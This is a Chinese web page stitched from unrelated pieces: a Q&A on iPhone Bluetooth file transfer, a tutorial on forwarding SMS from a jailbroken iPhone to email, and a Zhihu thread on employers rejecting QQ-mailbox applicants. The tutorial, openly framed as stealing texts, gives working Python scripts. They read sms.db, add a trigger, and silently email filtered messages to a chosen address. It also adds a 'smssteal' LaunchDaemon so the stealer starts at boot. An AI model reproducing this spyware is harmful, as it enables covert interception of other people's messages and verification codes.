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码客Online：苹果手机蓝牙为何无法传文件？
　　网友 Heyski问：苹果手机蓝牙为何无法传文件？
　　答：很多新用户在使用iPhone手机时会发现其无法像Symbian和Android设备一样自由的利用蓝牙传送文件，甚至连iPhone手机之间也无法传输文件，而只能与蓝牙耳机、键盘和音箱等周边外设配对使用。
　　iPhone不支持通过蓝牙传送文件数据，源于相对封闭的iOS移动操作系统。苹果在iOS操作系统上市初期，为了保证操作系统的稳定、流畅、安全以及用户体验的一致性，对蓝牙传输的对应通讯接口进行了封堵，因此用户和开发者都无法正常使用蓝牙接口在手机或者应用程序之间收发图片、音乐和文档数据。
　　然而iOS操作系统使用的是标准的蓝牙通讯协议，这意味着在不同设备之间传输数据理论上是可行的，但是用户需要提供操作系统底层信息的访问权限，供蓝牙通讯使用，这就需要用户给手机 “越狱”，并且安装第三方辅助传输插件或应用。不过需要提醒用户的是，不仅越狱过程有风险，第三方应用的安全性同样难以保证，不建议用户轻易尝试。
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评论成功，谢谢参与！iPhone上将短信内容发送到指定邮箱的方法
迄今为止，移动应用安全基本聚焦在以下几个方面，一是移动设备管理BYOD（bring your own device），二是移动恶意软件分析，三是移动设备用户隐私安全，四是移动操作系统内核漏洞挖掘。对普通用户而言，窃取用户隐私数据的恶意软件是很大的威胁。本篇文章旨在介绍一种如何将设备上的短信发送到指定邮箱中的方法，方法来自
1.iOS 5.1.1越狱设备
2. 通过cydia安装 python 2.7.3
3. 通过cydia安装SQLite 3.x
4. 通过Cydia安装adv-cmds
一、使用python脚本读取sms.db数据库中存储的短信内容
iOS 短信存储在系统的/var/mobile/Library/SMS/文件夹中，包含3个主要文件:
（1）sms.db，标准的SQLite 3格式,存储主要的短信数据
（2）sms.db-shm, &Associate File&
（3）sms.db-wal.&&Write Ahead Log&
danimato-iPod:/var/mobile/Library/SMS root# file sms.db
sms.db: SQLite 3.x database
danimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm
sms.db-shm: data
/var/mobile/Library/SMS root# file sms.db-wal
sms.db-wal: data
我们使用SQLite Database Browser打开sms.db,并执行查询语句，会发现如下错误
&于是，我们可以使用strings命令查看一下这个文件里面的内容（strings命令在初步分析文件时很有用）
danimato-iPod:/var/mobile/Library/SMS root# strings sms.db &smsdb
打开smsdb文件，可以看到短信message表结构，如下所示
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB, madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER, madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT, madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER, is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)
我们可以使用python脚本（注意：原脚本不支持中文，需要改变一下）来查询一下该表中的数据，如下所示输出未读短信数量及内容
#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
import sqlite3 as lite
import sys
import smtplib
smspath=&/var/mobile/Library/SMS/&
con = lite.connect(smspath+'sms.db')
con.row_factory = lite.Row
cur = con.cursor()
cur.execute('SELECT text，adderss from message where read=0 order by date desc')
rows = cur.fetchall()
#data = cur.fetchone()
print &Latest displayed first&
for row in rows:
counter+=1
print &Unread Message: %s& % counter
textencode = row[&text&].encode('gb2312')
print &Text: %s& % textencode
addressdecode = row[&address&].encode('gb2312')
print &Address: %s& % addressdecode
#print &Text: %s& % row[&text&]
msg=row[&text&]
我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py
danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py
运行结果如下：
二、窃取iPhone短信信息
接下来演示如何将iPhone上短信信息转发到指定邮箱中
#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
import sqlite3 as lite
import sys
smspath=&/var/mobile/Library/SMS/&
con = lite.connect(smspath + 'sms.db')
con.row_factory = lite.Row
cur = con.cursor()
#cur.execute('DROP TABLE message2;')
#cur.execute('DROP TRIGGER insert_newest_message_')
cur.execute('CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);')
cur.execute('CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID &= 0 BEGIN INSERT INTO &message2& select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;')
print 'Done.'
我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下，修改执行权限，并运行
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py
danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py
该脚本的功能是当message表有记录增加时，将新增记录插入新创建的message2表中
#!/usr/bin/python
# smsread.py
# by KrishnaChaitanya Yarramsetty
import sqlite3 as lite
import sys
import smtplib
import time
def sendEmail(msg):
fromaddr = ''
toaddrs = ''
# Credentials
username = 'abc'
password = '****'
# The actual mail send snippet
server = smtplib.SMTP(':587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#&address& is the column name.
smspath=&/var/mobile/Library/SMS/&
smsfromaddress=('AXARWINF','',)
#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval.
#though it is not one of the efficient methods, considering the purpose of the script it was taken for granted
while 1==1:
#Connect to the database and read sms from 'message2' table.
con = lite.connect(smspath+'sms.db')
con.row_factory = lite.Row
cur = con.cursor()
cur2 = con.cursor()
cur.execute('SELECT * from message2 where emailsent=0 and address=?',smsfromaddress)
rows = cur.fetchall()
for row in rows:
msg='Address is ' + row[&address&] + ' Text Message is ' + row[&text&].encode('gb2312')
sendEmail(msg)
ROWID = (row[&ROWID&],)
cur2.execute('UPDATE message2 SET emailsent=1 WHERE ROWID=?', ROWID)
con.commit()
time.sleep(60)
该脚本的功能是将messge2表中指定短信发送到指定邮箱中，我们需要修改脚本中用来接收SMS短信的邮箱相关信息
fromaddr = '' #发件人地址
toaddrs = '' #收件人地址
username = '' #发件人邮箱名
password = '****'#发件人邮箱密码
server = smtplib.SMTP(':587')#发件邮件服务器
smsfromaddress=('AXARWINF','',)#指定你想窃取的短信来自哪里
上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下，修改执行权限，并在后台运行
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py
danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
当运行上面两个脚本的iPhone有新的短信信息时，短信内容就会发送到你指定的邮箱中去了
3.设置脚本开机自动启动
上述脚本如果要常驻系统，开机自动启动，需要做以下设置，首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.py
danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.py
danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher
然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件，配置开机自动启动
danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist
&?xml version=&1.0& encoding=&UTF-8&?&
&!DOCTYPE plist PUBLIC &-//Apple//DTD PLIST 1.0//EN& &/DTDs/PropertyList-1.0.dtd&&
&plist version=&1.0&&
&key&Label&/key&
&string&com.dani.smssteal&/string&
&key&Program&/key&
&string&/var/mobile/Library/SMS/smsWatcher&/string&
&key&RunAtLoad&/key&
danimato-iPod:/System/Library/LaunchDaemons root# launchctl load /System/Library/LaunchDaemons/com.dani.smssteal.plist
有iPhone的朋友可以试一试，欢迎交流
参考资料：
/2013/02/forwarding-sms-to-email-on-jailbroken.
您对本文章有什么意见或着疑问吗？请到您的关注和建议是我们前行的参考和动力&&
您的浏览器不支持嵌入式框架，或者当前配置为不显示嵌入式框架。用人单位拒绝聘用使用 QQ 邮箱发应聘邮件的求职者，这一行为是否合理？
晚上打开微博就见此人对使用QQ邮箱求职者的评价，但是有的人认为，QQ邮箱的用户体验真的是做的极佳，国内甚至国外有哪家在收发邮件和一些细节上能比过QQ邮箱的？仅仅因为概率统计上，QQ邮箱用户邮件撰写格式不规范的比例较高，就拒绝应聘使用QQ邮箱的应聘者，这样的企业行为是否合适？相关问题：
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432 个回答
我曾经做过几年求职和职场方面的报道，采访过不少成功的求职者、人力资源专家，也采访过不少公司方面的高级管理人员，请他们从公司的角度谈过对求职者的建议。我也曾经参与写过一本面试指南类书籍，是线下书店时代的畅销书，很多应届生会复印下来送给朋友。针对题主的问题的本身，我就我之前采访的经验来答几句。第一，一家公司在发布职位时会写清楚要求。如果求职者对这个职位感兴趣，理应当按着要求做。如果Pingwest这家公司在发布职位要求时写明：“我们更欢迎gmail、yahoo邮箱发送的简历，不接受QQ和163邮箱发送的简历”，发布这个要求和以此拒绝不符合要求的求职者，这是完全合理的。目前看来，这家公司是没有在招聘信息里这么写，而是以公司负责人在微博上发表言论的方式来公布这个要求，而且这个言论发展到“low逼”这样的辱骂，这个举动是“不职业”的。如果要求求职者职业化，公司首先要职业化。求职这件事是公司与求职者之间互相的尊重。第二，关于对求职者“职业化”的要求。1）求职者“职业化”的针对性要求求职者如何显得“职业化”？我曾经问过一些HR专家和一些公司管理人员这个问题。有一类回答很有趣：“职业化，就是你要显得像是这家公司的人。”为此，求职者在递送简历前，要对这家公司有一定的了解，并进而揣摩“如何才像是这家公司的员工”。举例来说，Pingwest是一家强调科技精神、强调产品设计美感和体验感的公司，求职者避免用QQ邮箱来发送简历，是一种聪明的行为。这代表你理解了这家公司的文化。这家公司的文化好坏，我们暂不去说它（我对一家媒体的总编辑能发表这么不适宜的言论，一位媒体专业人士能给自己公司带来这么负面的影响，表示惊讶），但是如果你对这家公司感兴趣，你就要理解并且融入这家公司的文化。公司文化是求职者在求职时就必须了解的，因为这意味着你进入公司后必须要按公司习惯的体系和文化来运作。是不是适合你，自己判断即可。如果不适合，起初就不要投简历。就我个人而言，我长期使用163邮箱。使用一个月后我放弃了gmail，因为我经常要传比较大的附件；使用几年后我也完全放弃了yahoo，因为它的速度慢，邮箱内搜索功能很糟糕，邮箱容量不能长期免费升级；我不用QQ邮箱，因为我觉得它的后台入口太多，看得眼花。但是如果我要给Pingwest发简历，我一定会选gmail。2）求职者“职业化”的基本性要求以这个题目的情境来举例。如果是一些本身并不在意你用什么邮箱的公司，你用什么邮箱无妨，但邮件显示的发件人名字要使用你的真名，邮件标题写明你应聘的职位，邮件正文里简单介绍一下你的情况，这些都是求职者“职业化”的基本表现：这些行为代表你会换位思考，减轻HR的工作负担，使你的信息更容易被HR获得到。表现出这些素质的求职者，往往工作能力和沟通能力也会更高。最后，骆先生的行为肯定是不恰当的，也很没有礼貌，并且，非常不职业化。但他的行为由他自己负责，造成的代价和影响，也由他自己负责。我的答案写给求职者，供大家参考。
我曾经纯娱乐的， 为一个高科技企业写过一个基于朴素贝叶斯的简历系统优先级分类器，只做两档分类：通过和不通过。训练样本大概4000封被人筛选后的简历（我们先假设这些筛简历的人对qq邮箱没有偏见吧）得到的结果非常有趣@qq.com 作为一个基本粒度的特征竟然是「不通过」这个分类下面概率排名前五的强特征……同时在「不通过」这个分类下，预测的准确率还非常高（另外，还有一个很有意思的负面特征，那就是「感叹号」）假如在人力有限的情况下，无论从人还是从机器的角度，使用qq邮箱都给求职者申请高科技类企业带来一些负面影响这和qq邮箱这个产品自身low不low倒是关系不大
其实看了一下回答以后，发现答案明显分了两派，一个觉得QQ邮箱很糟糕，一个觉得大可不必如此。当然，有一点必须要说的是，骂人是不对的，Low逼这种话说出来就更加不对了。不过除此之外，对于邮箱的使用，我倒是可以理解。-----------------------------------------------------------------分割线------------------------------------------------------------------先介绍一些我的背景吧。我的本科是在美国大学完成的学业，又在美国实习过。我过去也在国内做过猎头，对两地的招聘和很多细节都算有不错的了解，我也不妨分享一下，从一些侧面的角度来讲讲邮箱这个问题。先从美国开始吧，在美国，应届毕业生找工作之前，老师会告诉你们三件事情：第一条：无论如何，如果你要留下邮箱的话，最好使用你的学校邮箱，因为看起来更专业，而且人家也会有更明显地了解。如果实在没法使用学校邮箱，那么就选择gmail，hotmail这些容易辨识的邮箱。同时，你的邮件地址必须要够清晰，最好是你的名字+域名，如果是什么fxxkmylife这种邮箱，就千万不要拿来求职。对方只要看到你的域名就不会看你的邮箱了。分析一下就可以发现，其实这是一种“职业化”的做法，使用学校邮箱可以让你避免掉邮件不规范或者出处不好。而恰当的域名则是对对方公司的尊重。而回到我做猎头的经历，你们不妨也看看。我做猎头的时候，一天公司邮箱大约可以收到300份左右的简历。我基本上是不会看的，为什么？因为邮件标题既没有注明申请人姓名，也没有岗位，更没法看到一点我所想要的咨询。我自然没有兴趣去打开。有的人会说：你这样不就会错过很多人吗？我刚入行的时候确实是这样想的，我前面3天时间，很认真的看着这些邮件，每一个都打开来看简历。猜猜看我在这900份的简历里面选到了多少可能合适的人？大约不到10个吧，而且这10个人里面，每个人都有着清晰地标题，清晰地内容，让人一目了然。也许有人还会说：你一共才看了三天呢，你再多看几天说不定就有更多呢？没错，这个想法或许是对的，但是你知道一天看300份简历需要消耗多少时间么？就算一份简历1分钟，我也至少需要300分钟，也就是整整5个小时，一天上班时间就8-10个小时，我5个小时足够我找20个，30个，甚至40个这样合格的人了，而不是15个小时才找出10个不到的人。同样的时间，我为何要浪费在一堆希望渺茫的人上面呢？第二条：去面试那天，无论如何，都要剃一个好头发，穿一身好衣服。这件事情曾经被我的coordinator强调了无数无数次，而且我也照做了。我是金融行业的专业，找的工作自然也是金融类的。当时并不了解这是为什么，直到三年后，我进入一家国内的私募基金（资本量不大，大约在2个亿左右吧），成为总经理助理，才发现在金融这个行业，如果你有一身很好的行头，足够良好的谈吐的话，谈生意会变得非常简单。我每次去和老板谈生意的时候，都会穿上阿玛尼的西装，内衬有袖扣的衣服，带个还算蛮贵气机械手表。为什么？因为别人看到连助理都穿的那么好，老板更加不会差，对方相信你的公司财大气粗，谈生意就变得非常简单。其实还是那一条，这就叫职业化。第三条：可能很多人没想到，但确实曾经引起过非常大的轰动的，那就是“如果不满21岁，记得把你Facebook上面的喝酒照片和party照片给删掉。如果你有什么特别放浪的照片，也记得把他们删掉。”首先要解释一下，美国合法喝酒年龄是21岁，但18岁就喝酒的大有人在。只不过，删照片这件事情，其实就是让企业对你无可挑剔。其实，永远记住一件事情，那就是，和你竞争的人很多，但坑爹的人更多。如果你每一个细节都做到尽善尽美。用专业的邮箱，穿正装，良好的谈吐，加上还可以的简历的话，面试官就无可挑剔，你就不用如此辛苦的和别人争论，到底用QQ邮箱还是一般邮箱了。说到最后，QQ邮箱也只是图个方便，但并不是专门用来求职的。
很多道理楼上的朋友们都已经说了，说的都不错，我就不重复了。我就换个角度谈下我的看法。这件事在我看来，其实说白了我觉得就是当事人同学的情商，至少在那个时刻，打了一些/很多折扣，其实他的意思在一开始就很明白，只是话说的不友好，开地图炮，容易引人来吵架。然后当事人在自己的良好感觉驱使下，配合猪队友的帮腔，以及对评论者的愤怒，话说地越来越离谱，最后把对方说成low逼，说对方是送水发小广告卖肯德基什么的，这一下子得罪了这帮子人不说，更吸引了从看不起“送水发小广告卖肯德基”角度来的战火。其实吧，当事人同学这种“感觉”都很正常。说实话，我也出现过类似的感觉，例如我就不喜欢北大青鸟，认为它就是骗钱的。为什么会有这种感觉？因为接触了太多北大青鸟的学生，个个不靠谱，浪费了我太多时间。你以为我没有在办公室里吼过“再也不要北大青鸟的学生”么？当然吼过，我不光心里这么想，还跟同事抱怨过。但那又怎么样，这只不过是情绪上来了，有感而发么。器大活好的男人还能不冲动么？！举个例子，江平，华尔街顶尖华人交易员，当年被下属告，就是因为他强迫下属服用雌性激素，为了让交易员更冷静，至于下属XXOO出问题什么那是后话了。但关键是，你冲动一下没关系啊，也要正确认清自己这时候在冲动，不够冷静，别把冲动时的观点，作为自己的牌子给打出去哪。就好比，我写文章可以把北大青鸟骂个透彻，但绝对不会说，你简历里出现北大青鸟字样，我就绝对咔嚓了，因为这话我自己就过不了自己关，我知道这话道理上是说不过去的，理由请参考其他一些同学的回答。还有就是说了这话以后，吸引了很多火力，这时候人肯定很冲动啊，那就别急着继续拉仇恨，继续开地图炮，最后low逼都出来，删贴了都成为笑话。其实假如第一帖被人骂了，第二贴解释一下，发点&_&，TAT这样的表情，事情也就过去了，根本不会发展到“low逼”这阶段。我突然想起，当时方肘子和韩寒打得厉害的时候，刘江老师说了一句“韩寒招牌倒了”，被很多同学指责，结果人家发帖就不是骂人，而是说“对不起我错啦”之类的，不还是我们敬爱的刘江老师么（所以说老男人就是厉害啊，年轻人除了身体好，泡mm基本没优势呐）。其实我估计当事人同学后来也清醒了，因为我印象很清楚，有人在“low逼”贴里回复“别人都不嫌弃你是处女座”之类的话，当事人同学已经在说“不是这个意思TAT”，可惜为时已晚，呵呵呵呵呵呵呵。总之就是，男人说话做事前不要太冲动啦。话出口前多想想，第二句没想清楚，第三句总归该像话了吧。你看，昨晚我脑子里其实也在想着类似“卧槽PingWest总编辑素质这么低，这网站还能看么”，但你看我不就没说出口么……
招聘人力猎头行业多年经验，一个观点：原微po主炒作而已1.原po媒体圈出身，老笔杆子了。PR领域我经验有限，不过就之前招聘PR方面的经验来说，这种行为是典型的营销手段，QQ邮箱的话题谈了很多次了，这次还能掀起话题，受到助力的可能性是很高的；2.回过头来说人力方面的事，疑点就多得多了。首先，我不认为pingwest收到的简历有可能因为QQ邮箱或者163邮箱造成多么大的困扰。hr多年的老鸟基本上一看公司规模、定位和PR情况就可以估算出来公司日均收获简历的量级在什么程度上了。以pingwest目前的程度结合知情朋友那边了解到的信息来看，这个公司的职位很有限，吸引力更有限，一天能获得的简历数量远远没到哭爹喊娘抱怨工作量的程度，如果强行剔除QQ邮箱和163邮箱的群体的话，负责招聘的人反而很有可能会闲的发慌；其次，骆先生在回答中标榜了自家高上大的工具，那我就非常惊讶这么看重高效工作的企业连个靠谱的简历管理系统都没有么？如果有的话邮件不符合规范有那么大困扰么？如果没有的话那看来我对pingwest收到的简历数量的估计应该是没有问题的；另外，简历或者邮件不符合规范的事情我比骆先生应该见得更多也算是更深受其害，但是职业hr对这种情况没有一个敢喊出来我司不要QQ邮箱或者word格式（实际上作为hr我反倒讨厌pdf格式，因为导入管理系统的时候非常容易出错），因为很可能引发极为严重的公关事件，对招聘的影响会很大（之前不少某些公司的招聘公关出错了，结果影响甚至超过两年），但是骆先生作为创始人这么大方地讲出来，要么真的是无脑乱喷，要么就是策划好的营销事件，就骆先生在知乎迅速有计划性的回复来看，恐怕就是后者了。综上，我想骆先生本身并不care对招聘带来的负面影响，因为PW大约实际上几乎没有外放职位，就算招聘也更多走内推或者猎头渠道，从我的得到的信息来看也确实是这样；本次营销更多的是一个提升影响力的事件，不过遗憾的是估计过不了多久这个事情也会淡下去，PW到时候有多少收益就看产品自身素质了。骆先生给的礼仪的建议，我认为没有错，学生们应该选择接受，对自己没有坏处。但是一刀切的事情如果不是pr行为，那绝对是错了，你可以默默地后台把所有QQ或者163的邮箱扔进垃圾箱，说出来，非常有问题。同时，请部分小公司的非职业招聘者也长点心，你们可以逼格很高的指责学生们“遵守规则，谁让你们是弱势，老子开公司老子就是拽”；作为招聘行业的老资格，我也同样给各位点建议，高素质的应聘者有的是地方抢，在各种高素质的人才面前，你们也是弱势，高级别人才永远都不会过剩，人才们拿着一堆offer的时候你们同样是有可能被别人马马虎虎筛选掉，我见过的拿各种“小公司也很锻炼人”、“办公环境不好也能工作的很舒心”、“没名气的公司更有前途”的理论来留人的，别跟我说你们都没对某个优秀的应聘者说过这种话，但好可惜对不对，很多人才也同样以“某公司没怎么听过大概没前途”“办公环境都不好老板一定很不注重员工”把你们筛掉。我做猎头处理的草草交过来的简历多得是，甚至遇到过好几年工作经验的业界甚至有些名气的应聘者随手拿QQ邮箱发过来一个title都没有的简历，还有更过分的简历发过来居然是一年多前的版本我不放心还得一个一个电话追过去的建议对方改简历，可最后都是大宗的生意而且雇主也很满意。没有强有力的资源争取到高素质人才的话还不愿意低下头来耐心在沙子里面淘金的，我只能祝君好运。 ==========9.16 补充========
意外吸引到当事人评论了，还是补充一下吧，可能原话不够妥当，我想强调一下确实只是表达“观点”，真的不敢断定，当然观点还是带着分析的，放上来大概也不算错，后续还是观点，请各位带着理性思考来看。 对陈主笔的疑问我随便聊几句，首先我愿意相信陈主笔所言pingwest有很高的格调，但也请允许我为自己的推测进行解释我并非无中生有：1.PR不是我的专精，尤其是品牌推广方面，但由于同样做过创业，流量的需求这块我还是略有了解的，pw的alexa排名被同领域的几位甩开一个数量级，这几位相信我不点名围观的各位也都自然想得起来，pw作为一个媒体性质的产品，在百度指数上都挂不上名，敢说不稀罕名气和流量？我不敢信。2.其他引流方式更靠谱？未必，靠谱的成本并不低，百度的关键词我了解过也买过，导航的位置我也了解过，算了算性价比没下手，相比之下微博知乎等公共传播平台造话题绝对无愧于性价比最高的营销渠道，就算没效果有什么关系？写两条微博一个答案能花多少成本？做pr本身不丢人，但是公共传播负面信息不是什么好事情，我之所以点出来一方面就是实在觉得这题的回答走向里能看出很多创业者思路被带歪了。当然另一方面这里我也想给自己的行业做个推广，孵化公司是由很多我的同行会专门做招聘辅导或者辅助的，要求更高的完全应该找猎头，如果创业者真的为招聘的事情焦头烂额为什么不干脆让专业的来。
作为一家互联网公司，拒绝使用 QQ 邮箱的应聘者是很正常的事情。但是开地图炮说「用 QQ 邮箱的都是 Low 逼」这样的行为，是很不合适的。这就好比我是一家古典音乐杂志的主编，现在要招编辑，面试时我会问他最喜欢的钢琴演奏家是谁。如果他回答说朗朗或者马克西姆，我会立刻拒绝他。但如果我是一家财经杂志的主编，应聘者说他喜欢朗朗，我不会因为这个而拒绝他。并且我不会因为自己喜欢里赫特而他喜欢朗朗就觉得他很「Low 逼」，我觉得我和他在欣赏音乐上是平等的，因为咱们大家都只是消费者而已。如果我在 SNS 平台上说「喜欢朗朗的都是 Low 逼」....
不好意思，假设不下去了，因为我实在无法想象自己会做出这样的行为。
不要先验的对人和群体做出判断。在没有看到求职信和简历（以及下面写的各项注意事项）之前，QQ、163 邮箱和 Gmail 邮箱用户之前就是否胜任工作方面没有本质区别。原作者想表达意思的重点我理解是在求职信本身的质量上，关于求职者应有的素质这些我也赞同，但是由此引申出来的判断并不对。很多人的求职邮件往往不够认真，不写正文的，写一句莫名其妙的话就完事的，写几句话却出现一堆错字的，同时在收件人里写上一堆公司的，还有附上以前公司所做原始文档的，这些都会减分。求职邮件使用 QQ 邮箱时，发送者常常显示为其 QQ 昵称，有时的确很不专业，特别是昵称非常有个性，非常霸气时。QQ 邮箱好像有一个设计来解决这个问题，当发现邮件里提到简历时自动弹出确认对话框，询问这是一封正式邮件，是否要使用昵称等等。但是效果并不理想，因为很多人邮件正文里什么都不写…除了 QQ 昵称的那个设计外，其他的情况我觉得不是使用 QQ 或者 163 邮箱本身的原因。为什么不合格的求职邮件来自这两个邮箱的多？因为用户群本身就大。对于个人用户，QQ 邮箱和 163 邮箱本身也是合理的选择。我自己的邮箱主要是 Gmail 的，但同时也保有QQ 邮箱，139 邮箱等等，有时都会有各自的使用场景。使用什么样的邮箱，和是什么样的人，并不直接相关。给求职者的建议：- 邮箱不是重点，重点的是认真的细节和规范的格式。- 注意邮件的发送者姓名显示，可以给自己发封邮件来测试。- 不要只放一个附件就发出去了，要有简洁明了的正文，例如求职信，介绍你的特点或者对公司的兴趣。- 不要出现错字或者病句，写完后检查是必须的。- 附件的命名不要用诸如 新建文档.doc 简历.doc 之类，要有职位和姓名信息。
1、我认为这个问题是 “拒绝用QQ邮箱发应聘邮件的求职者（的行为）是否合理” ，而不是 “说出这话的人态度是不是好” 或者 “说这话的人是不是混蛋” 。有些朋友似乎把关注点放在了 “谁、用什么方式表达了这种态度” 上，换句话说，批评某人的态度，而非这个判断本身，这当然也没问题，只是和这个问题关联不大。我建议有兴趣的朋友可以另开一个问题……2、我不是个 “拒绝用QQ邮箱发应聘邮件的求职者” 的人。但，好吧，你知道，我换个说法，我会给用gmail邮箱的求职者加分——我这么说，大家是不是就好接受一点儿？3、作为非专业人士，我曾经每天要抽出三分之一甚至更长的时间来看简历，你知道，我们当时没有专业的HR，只能自己动手。而且，更惨的是，我还有一大坨本职工作。当我每次打开邮箱，看到七八十封简历（或者形象一点来说，1080的屏幕得拉四屏）的时候，无论如何，我都得想个办法筛选一下。4、我会优先选择标题清晰的、用gmail邮箱的求职邮件。打开后如果发现这位求职者的简历是pdf格式的，那真是大加分——可惜我好像还没见到这样的强者，大概是因为我从来没有招聘过上等的技术人员吧；相信我，当你看了100封以上的求职信之后，你真的能发现很多狠角色，比如说直接在标题里写 “我要改变世界！！！！”（注意这四个惊叹号）的、比如说没有邮件名的、比如说名字用火星文的、比如说直接发来写真集的——我都不知道您想干什么呀大姐。用qq邮箱朋友的呢……坦率来说，平均水准的确是比用gmail的朋友差一点儿，这就好像你比较谈吐和见识，整体来看，qq的车主总比宝马车主差一点儿。当然，这两个群体里都有混蛋，但咱们还是看主流。5、所以这其实是一个 “把有限的精力分配给无限多的简历” 的问题，并无冒犯之意，但在这个前提下，人不得不总结出一些自己认为有效的筛选手法。比如一个用 “" 作为发件人的求职邮件，在我看完其他求职邮件后，我大概也会打开看看，但是我要诚实说，打开邮件时，对这位求职者，我基本不会报太高期望。也因此，我阅读简历时的认真程度和容忍程度大概也不自觉的会低一点儿。而我的这个印象，实在是来源于我之前收到过的几百封不怎么样的qq邮箱发送的简历的平均水准。我当然知道我这样不算专业，但这已经是我的极限了……6、这就好像当年我做编辑的时候，看到有作者用txt给我文章，就会很兴奋，因为用txt的人有8成都是老手，知道编辑需要不带格式的文本文件，有这个认知的人，文笔就不会太差。而看到用word文件扔过来的人，就会有些担忧，看到用wps格式的人，就基本不报期望，当然我还看到过更棒的，比如用bmp的……7、坦率的说，如果你问我：一家企业拒绝用QQ邮箱的人是否合理——当然合理。就像我永远也不会选择去百度工作（当然我也就这么一说，他们也不会要我）一样合理。我们都有维持自己价值观的权利，只要自己承受结果就好了。最后，我想说的是，我非常友善地对那些初次想要找工作的朋友们建议，最好选择gmail邮箱，用俗点的话说，这会显得你 “更能打” 一点儿，或者说，不管怎么说，至少不会减分。我担心的是这里面回答的部分朋友因为反感 ，而说了些猛话——理想当然很棒啦，但是对于大学生朋友来说，还是正视现实比较合适嘛。
1、作为一个企业的负责人，在公众场合要分清什么该说什么不该说。类似这种言论已经不属于你个人的言论表达，而带有企业的言论表达。明显带有歧视性的语言，很容易给你们的企业造成道德和法律上的麻烦。请使用欢迎、推荐，而不是排他歧视性质的语言描述观点。2、好声誉或者说商誉对于企业十分重要。试想你们如果未来要跟腾讯、163合作，人家调查发现一个公司对于他们公司的产品竟有如此言论，对方会怎么想。将要洽谈合作的公司，认为自己逼格不够，而放弃跟你们的合作也不是不可能的。你们的员工将来要跳槽到163、腾讯等者其他公司，结果对方认为你们员工趣味相投逼格太高，随便找个理由而被筛选出去。公司搞负面营销就是邪道。作为一个企业的管理者维护企业的商誉更是责任。招聘者可能不如你们公司逼格高，但你们的逼格未必让其他公司看上眼。3、容易给竞争对手以及其他公司借机进行企业形象的营销。虽然不是竞争者，雷军借此已经给小米进行企业形象营销了。未来可能会有更多的公司借此进行企业形象的营销。虽然你们不想，但是在态度上，你们公司有可能会成为负面典型跑到业界的对立面。作为负面典型，你们公司也算火了。心直口快可能被解释成真性情，但也可能被更多人认为是SB。我觉得该公司应该尽快澄清态度，减少不必要的麻烦和负面影响。该管理者以后也应该注意维护自己公司的形象和商誉。
当你没有足够的信息来作出正确判断，但又必须作出判断的时候，你所能做的就仅仅是根据以往数据来做一个猜测。如果你通过之前筛选简历的经验，发现附件简历文件名类似「新建 Microsoft Word 文档 (2).docx」的人大部分不靠谱，发信人姓名类似「≮ ﹎ωǒ们偠开鈊」的人大部分不靠谱，发信人邮箱名全是数字的人大部分不靠谱，那么当你需要在两小时内看完 400 份简历的时候，对于满足以上特征的简历，你就有很大可能会直接略过。作为一个在创业公司看过大批不靠谱简历的兼职业余 HR，相信我，在如此大的工作量下，很少有人会去专门花时间精力盯着你的邮箱后缀看到底是不是 @qq.com。如果你非要使用 QQ 邮箱的话，请申请一个英文邮箱取代掉你的数字邮箱，设置发件人姓名为你的真实姓名，简历以纯文本形式再放一份在正文里，正文不要用粉红啊淡绿啊湖蓝啊这样颜色来写，附件的简历文件名命名正常一些，就已经很好了。如果这些你都做到了，对方 HR 还专门不辞辛劳地特意去看你的邮箱后缀是不是 @qq.com，那就忽略这家公司吧。Update:评论中有人问为什么纯数字的邮箱不好，在这里统一解释一下：因为人类不擅长阅读和记忆数字。我生成了两组邮箱名，每个邮箱都是 10 个字符，长度完全相等，大家可以试一试阅读每组邮箱两分钟，然后把浏览器窗口最小化，打开一个记事本把每组邮箱都默写一遍，看看哪组邮箱更容易记住并写对：第一组：
所有邮箱均纯属虚构，如有雷同，实属巧合。虽然在日常工作中收发邮件大部分时候都是复制粘贴，很少需要手工输入，但复制粘贴完了之后至少还要再看一遍确认一下贴对了没有吧？让人一眼看完之后记不住的邮箱名，会让人感觉很不舒服，这对于应聘而言并不是件好事情。
